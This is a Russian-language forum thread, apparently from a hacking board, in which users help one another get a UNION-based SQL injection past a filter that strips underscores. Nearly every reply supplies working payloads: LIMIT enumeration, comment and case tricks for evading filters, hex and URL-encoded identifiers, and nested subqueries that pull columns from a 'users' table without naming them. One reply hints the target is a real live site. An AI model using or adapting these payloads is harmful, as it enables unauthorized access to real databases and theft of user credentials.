Перерыла весь интернет, а толку ноль Надеюсь, что здесь смогут подсказать. Передаю запрос, но если там встречается нижнее подчеркивание, то оно вырезается и все остальное в запросе тоже. Получается все названия столбцов/таблиц с подчеркиванием не проходят. Например запрос вида: id=-480+union+select+user_id,2+from+users+-- Отбросится все начиная с _id,2+from+users+-- И в итоге запрос не исполнится. Подскажите, пожалуйста, можно как обойти фильтр или это уже не эксплуатируемая инъекция?
Используй Limit id=-480+union+select+user_id,2+from+users+LIMIT+1,1 -- И каждый раз меняешь LIMIT 0,1 -- и .тд P.S: кажется я вопроса не понял... Обойти фильтр такими способами 1) вместо + пиши /**/ 2) union = UnIoN и .тд
Видимо не поняли... Такое проходит, без подчеркивания: id=-480+union+select+user,2+from+users+-- А с подчеркиванием режет, не проходит: id=-480+union+select+user_id,2+from+users+-- Все что после подчеркивания вырезается. Остается id=-480+union+select+user Лимит и др тут не причем.
Предположим исходный запрос Code: select field_name from table_name для MySql эквивалентным будет Code: select 0x6669656C645F6E616D65 from (select 0x7461626C655F6E616D65)k а скрипт, который фильтрует, ищет подчеркивание (как символ "_"), т.е. посчитает запрос валидным. ======= UPD Совет не верный.
хм, дык mysql будет воспринимать значение 0x6669656C645F6E616D65 как строку 'field_name', и в итоге вернет в скрипт не содержимое колонки field_name, с строку field_name Я думаю в данном случае извратится с mysql не выйдет, и нужно искать способ обхода проверки символа _ в скрипте, например его урл-кодированным эквивалентом (%5f), или же другим способом.
UPD2 Для поля таблицы можно попробовать такой обход. Нужно подбирать количество полей в таблице users и местоположение интересующего поля. Допустим таблица имеет три поля user_id, user_name, user_password, тогда для вывода второго и третьего поля: Code: id=-480+union+select+concat(s2,0x3a,s3),2+from+(select+s2,s3+from(select+1,2+s2,3+s3+union+select+*+from+users)k)n--+
Вариант 1 Это можно попробывать сделать как-то так: 1 union select * from (select 1,2,3,4,5)b,users,(select 1,2,3,4)a 1 union select 6,users.*,2,3,4,5,1 from users (полный запрос приводить не буду ) Но тут нужно несколько условий. Подробнее: http://forum.antichat.ru/threadnav43966-6-10.html 53-54 посты Ну и конечно с information_schema попрощаться Вариант 2 Искать двойной запрос и уже в нём нормально крутить в 0x Вариант 3 Не ломать фрагорию (почему-то мне кажется что это именно она )) - это плохо кончится. nikp concat_ws не пропустит из-за "_"